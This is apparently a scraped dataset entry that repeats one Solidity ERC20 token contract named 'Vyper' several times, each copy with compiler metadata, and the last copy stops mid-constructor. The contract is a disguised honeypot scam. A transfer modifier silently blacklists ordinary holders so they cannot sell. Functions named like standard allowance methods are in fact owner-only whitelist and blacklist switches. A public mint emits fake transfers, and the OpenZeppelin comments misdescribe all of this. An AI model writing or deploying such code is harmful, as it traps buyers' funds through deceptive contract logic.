balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 3888, 4012 ] }
12,408
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 4220, 4404 ] }
12,409
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 5092, 5248 ] }
12,410
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x710295b5f326c2e47E6dD2E7F6b5b0F7c5AC2F24, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0x7D96AB1F847c3564B8F9a93F35E1027aDA74aeC2, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0xE15461B18EE31b7379019Dc523231C57d1Cbc18c, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x50c1a2eA0a861A967D9d0FFE2AE4012c2E053804, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x467161703BC5c888c9bF3905933B66Aec1a7b984, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 5390, 5564 ] }
12,411
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
Vyper
contract Vyper is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x2D407dDb06311396fE14D4b49da5F0471447d45C, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, initialSupply*(10**18)); _mint(0x7A1057E6e9093DA9C1D4C1D049609B6889fC4c67, 